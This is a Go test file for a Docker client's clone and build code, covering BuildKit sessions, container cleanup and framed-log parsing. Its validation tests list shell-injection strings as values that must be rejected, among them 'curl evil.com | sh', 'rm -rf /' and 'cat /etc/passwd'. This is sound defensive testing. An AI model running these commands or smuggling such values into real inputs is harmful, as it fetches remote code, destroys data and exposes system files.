Check / check (pull_request) Waiting to run
Builds now attach a BuildKit session over the Docker API, as the docker command line does, and pass its ID with the build. BuildKit fetches a base image that is not on the host through that session; without one, Docker Engine 27 failed the build with "no active sessions". The session is closed when the build ends. Container logs are now read with stdcopy, so the clone output in the build log and the app logs no longer carry Docker's 8-byte frame headers, and the commit is read from the clone output; the header in front of the COMMIT line kept it from being found. Model: opus-5-5 Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
565 lines
14 KiB
Go
565 lines
14 KiB
Go
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"encoding/json"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
"log/slog"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/url"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/docker/docker/client"
|
|
"github.com/docker/docker/pkg/stdcopy"
|
|
controlapi "github.com/moby/buildkit/api/services/control"
|
|
)
|
|
|
|
// mainBranch is the branch name used across validation tests.
|
|
const mainBranch = "main"
|
|
|
|
func TestValidBranchRegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
mainBranch,
|
|
"develop",
|
|
"feature/my-feature",
|
|
"release-1.0",
|
|
"v1.2.3",
|
|
"fix/issue_42",
|
|
"my.branch",
|
|
}
|
|
for _, b := range valid {
|
|
if !validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be valid", b)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"main; curl evil.com | sh",
|
|
"branch$(whoami)",
|
|
"branch`id`",
|
|
"branch && rm -rf /",
|
|
"branch | cat /etc/passwd",
|
|
"",
|
|
"branch name with spaces",
|
|
"branch\nnewline",
|
|
}
|
|
for _, b := range invalid {
|
|
if validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidCommitSHARegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"abc123def456789012345678901234567890abcd",
|
|
"0000000000000000000000000000000000000000",
|
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
}
|
|
for _, s := range valid {
|
|
if !validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be valid", s)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"short",
|
|
"abc123",
|
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
|
"$(whoami)000000000000000000000000000000000",
|
|
"",
|
|
}
|
|
for _, s := range invalid {
|
|
if validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestCloneRepoRejectsInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
c := &Client{
|
|
log: slog.Default(),
|
|
}
|
|
|
|
tests := []struct {
|
|
name string
|
|
branch string
|
|
commitSHA string
|
|
wantErr error
|
|
}{
|
|
{
|
|
name: "shell injection in branch",
|
|
branch: "main; curl evil.com | sh #",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "command substitution in branch",
|
|
branch: "$(whoami)",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "backtick injection in branch",
|
|
branch: "`id`",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "injection in commitSHA",
|
|
branch: mainBranch,
|
|
commitSHA: "not-a-sha; rm -rf /",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "short SHA rejected",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "valid inputs pass validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
{
|
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := c.CloneRepo(
|
|
t.Context(),
|
|
"git@example.com:repo.git",
|
|
tt.branch,
|
|
tt.commitSHA,
|
|
"fake-key",
|
|
"/tmp/container",
|
|
"/tmp/host",
|
|
)
|
|
if err == nil {
|
|
t.Fatal("expected error, got nil")
|
|
}
|
|
|
|
if !errors.Is(err, tt.wantErr) {
|
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker
|
|
// API and checks that the clone container is removed together with its
|
|
// anonymous volumes, whether the clone succeeds, fails, or is cancelled.
|
|
func TestPerformCloneRemovesContainerVolumes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
tests := []struct {
|
|
name string
|
|
exitCode int
|
|
cancel bool
|
|
}{
|
|
{name: "succeeds", exitCode: 0},
|
|
{name: "fails", exitCode: 1},
|
|
{name: "cancelled", cancel: true},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
ctx, cancel := context.WithCancel(t.Context())
|
|
t.Cleanup(cancel)
|
|
|
|
removeQuery := make(chan url.Values, 1)
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
|
|
switch {
|
|
case r.Method == http.MethodDelete:
|
|
removeQuery <- r.URL.Query()
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/wait") && tt.cancel:
|
|
// Cancel the deploy while the clone is running.
|
|
cancel()
|
|
<-r.Context().Done()
|
|
case strings.HasSuffix(r.URL.Path, "/wait"):
|
|
_, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, tt.exitCode)
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
dir := t.TempDir()
|
|
cfg := &cloneConfig{
|
|
repoURL: "git@example.com:repo.git",
|
|
branch: mainBranch,
|
|
sshPrivateKey: "fake-key",
|
|
containerDir: filepath.Join(dir, "repo"),
|
|
hostDir: filepath.Join(dir, "repo"),
|
|
keyFile: filepath.Join(dir, "deploy_key"),
|
|
hostKeyFile: filepath.Join(dir, "deploy_key"),
|
|
}
|
|
|
|
_, _ = c.performClone(ctx, cfg)
|
|
|
|
select {
|
|
case query := <-removeQuery:
|
|
if query.Get("v") != "1" {
|
|
t.Errorf("clone container removed without its volumes: %v", query)
|
|
}
|
|
default:
|
|
t.Error("clone container was not removed")
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildUsesBuildKit runs a build against a fake Docker API and
|
|
// checks that it asks for BuildKit and that BuildKit's progress reaches the
|
|
// build log as plain text.
|
|
func TestPerformBuildUsesBuildKit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
now := time.Now()
|
|
status := controlapi.StatusResponse{Vertexes: []*controlapi.Vertex{{
|
|
Digest: "sha256:1111",
|
|
Name: "[build 2/2] RUN make",
|
|
Started: &now,
|
|
Completed: &now,
|
|
}}}
|
|
|
|
data, err := status.Marshal()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
trace, err := json.Marshal(data)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/version"):
|
|
_, _ = w.Write([]byte(`{"Version":"27.3.1","ApiVersion":"1.47"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/session"):
|
|
serveSession(t, w, r, make(chan string, 1))
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
if r.URL.Query().Get("version") != "2" {
|
|
http.Error(w, "not a BuildKit build", http.StatusBadRequest)
|
|
|
|
return
|
|
}
|
|
|
|
_, _ = fmt.Fprintf(w, "{\"id\":\"moby.buildkit.trace\",\"aux\":%s}\n", trace)
|
|
default:
|
|
_, _ = w.Write([]byte(`{"Id":"sha256:built"}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
var buildLog bytes.Buffer
|
|
|
|
imageID, err := c.performBuild(t.Context(), BuildImageOptions{
|
|
ContextDir: t.TempDir(),
|
|
Tags: []string{"upaas-test:1"},
|
|
LogWriter: &buildLog,
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
if imageID != "sha256:built" {
|
|
t.Errorf("unexpected image ID %q", imageID)
|
|
}
|
|
|
|
if !strings.Contains(buildLog.String(), "[build 2/2] RUN make") {
|
|
t.Errorf("build log is missing the build step:\n%s", buildLog.String())
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildFails runs builds that fail against a fake Docker API and
|
|
// checks that each returns its own error and that no image is inspected
|
|
// afterwards.
|
|
func TestPerformBuildFails(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
tests := []struct {
|
|
name string
|
|
engine string // Docker Engine version the fake daemon reports
|
|
apiVersion string // API version the fake daemon reports
|
|
buildOutput string
|
|
wantErr string
|
|
}{
|
|
{
|
|
name: "build step fails",
|
|
engine: "27.3.1",
|
|
apiVersion: "1.47",
|
|
buildOutput: `{"stream":"Step 1/1 : RUN false\n"}` + "\n" +
|
|
`{"errorDetail":{"message":"exit code: 1"},"error":"exit code: 1"}`,
|
|
wantErr: "exit code: 1",
|
|
},
|
|
{
|
|
name: "daemon too old for BuildKit",
|
|
engine: "18.06.3-ce",
|
|
apiVersion: "1.38",
|
|
wantErr: "BuildKit is unavailable on the Docker daemon: " +
|
|
"Docker Engine 18.06.3-ce (API 1.38) is older than 18.09 (API 1.39); " +
|
|
"upgrade Docker Engine",
|
|
},
|
|
{
|
|
// The build step's own error shows the build went ahead.
|
|
name: "daemon at API 1.39 builds",
|
|
engine: "18.09.9",
|
|
apiVersion: "1.39",
|
|
buildOutput: `{"stream":"Step 1/1 : RUN false\n"}` + "\n" +
|
|
`{"errorDetail":{"message":"exit code: 1"},"error":"exit code: 1"}`,
|
|
wantErr: "exit code: 1",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/version"):
|
|
_, _ = fmt.Fprintf(w, `{"Version":%q,"ApiVersion":%q}`,
|
|
tt.engine, tt.apiVersion)
|
|
case strings.HasSuffix(r.URL.Path, "/session"):
|
|
serveSession(t, w, r, make(chan string, 1))
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
_, _ = w.Write([]byte(tt.buildOutput))
|
|
default:
|
|
t.Errorf("unexpected request to %s", r.URL.Path)
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
_, err = c.performBuild(t.Context(), BuildImageOptions{
|
|
ContextDir: t.TempDir(),
|
|
Tags: []string{"upaas-test:1"},
|
|
})
|
|
if err == nil || err.Error() != tt.wantErr {
|
|
t.Errorf("got error %v, want %q", err, tt.wantErr)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformBuildAttachesSession runs a build against a fake Docker API
|
|
// that, like the real daemon, fails the build with "no active sessions"
|
|
// unless the build names a session the client attached over the session
|
|
// endpoint. It also checks that the session is closed when the build ends.
|
|
func TestPerformBuildAttachesSession(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
attached := make(chan string, 1)
|
|
sessionClosed := make(chan struct{})
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/version"):
|
|
_, _ = w.Write([]byte(`{"Version":"27.3.1","ApiVersion":"1.47"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/session"):
|
|
serveSession(t, w, r, attached)
|
|
close(sessionClosed)
|
|
case strings.HasSuffix(r.URL.Path, "/build"):
|
|
id := r.URL.Query().Get("session")
|
|
attachedID := ""
|
|
|
|
// The daemon waits a few seconds for the build's session
|
|
// to attach.
|
|
if id != "" {
|
|
select {
|
|
case attachedID = <-attached:
|
|
case <-time.After(5 * time.Second):
|
|
}
|
|
}
|
|
|
|
if id == "" || attachedID != id {
|
|
_, _ = w.Write([]byte(`{"errorDetail":{"message":"no active sessions"},` +
|
|
`"error":"no active sessions"}`))
|
|
}
|
|
default:
|
|
t.Errorf("unexpected request to %s", r.URL.Path)
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
_, err = c.performBuild(t.Context(), BuildImageOptions{ContextDir: t.TempDir()})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
select {
|
|
case <-sessionClosed:
|
|
case <-time.After(5 * time.Second):
|
|
t.Error("the build's session was not closed when the build ended")
|
|
}
|
|
}
|
|
|
|
// serveSession answers a request to attach a session as the Docker daemon
|
|
// does: it switches the connection over to the session, sends the session's
|
|
// ID on attached, and holds the connection until the client closes it.
|
|
func serveSession(
|
|
t *testing.T,
|
|
w http.ResponseWriter,
|
|
r *http.Request,
|
|
attached chan<- string,
|
|
) {
|
|
t.Helper()
|
|
|
|
conn, _, err := http.NewResponseController(w).Hijack()
|
|
if err != nil {
|
|
t.Error(err)
|
|
|
|
return
|
|
}
|
|
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
_, err = io.WriteString(conn, "HTTP/1.1 101 Switching Protocols\r\n"+
|
|
"Connection: Upgrade\r\nUpgrade: h2c\r\n\r\n")
|
|
if err != nil {
|
|
t.Error(err)
|
|
|
|
return
|
|
}
|
|
|
|
attached <- r.Header.Get("X-Docker-Expose-Session-Uuid")
|
|
|
|
_, _ = io.Copy(io.Discard, conn)
|
|
}
|
|
|
|
// TestPerformCloneReadsFramedLogs runs a clone against a fake Docker API that
|
|
// sends the clone container's output in frames, as Docker does for a
|
|
// container without a terminal, and checks that the output comes back as
|
|
// plain text and that the commit is read from it.
|
|
func TestPerformCloneReadsFramedLogs(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const commit = "1647b43aa6b211686719313bc6372c3693c54ca9"
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
|
|
switch {
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/wait"):
|
|
_, _ = w.Write([]byte(`{"StatusCode":0}`))
|
|
case strings.HasSuffix(r.URL.Path, "/logs"):
|
|
_, _ = stdcopy.NewStdWriter(w, stdcopy.Stderr).
|
|
Write([]byte("Cloning into '/repo'...\n"))
|
|
_, _ = stdcopy.NewStdWriter(w, stdcopy.Stdout).
|
|
Write([]byte("COMMIT:" + commit + "\n"))
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
dir := t.TempDir()
|
|
cfg := &cloneConfig{
|
|
repoURL: "git@example.com:repo.git",
|
|
branch: mainBranch,
|
|
sshPrivateKey: "fake-key",
|
|
containerDir: filepath.Join(dir, "repo"),
|
|
hostDir: filepath.Join(dir, "repo"),
|
|
keyFile: filepath.Join(dir, "deploy_key"),
|
|
hostKeyFile: filepath.Join(dir, "deploy_key"),
|
|
}
|
|
|
|
result, err := c.performClone(t.Context(), cfg)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
want := "Cloning into '/repo'...\nCOMMIT:" + commit + "\n"
|
|
if result.Output != want {
|
|
t.Errorf("got clone output %q, want %q", result.Output, want)
|
|
}
|
|
|
|
if result.CommitSHA != commit {
|
|
t.Errorf("got commit %q, want %q", result.CommitSHA, commit)
|
|
}
|
|
}
|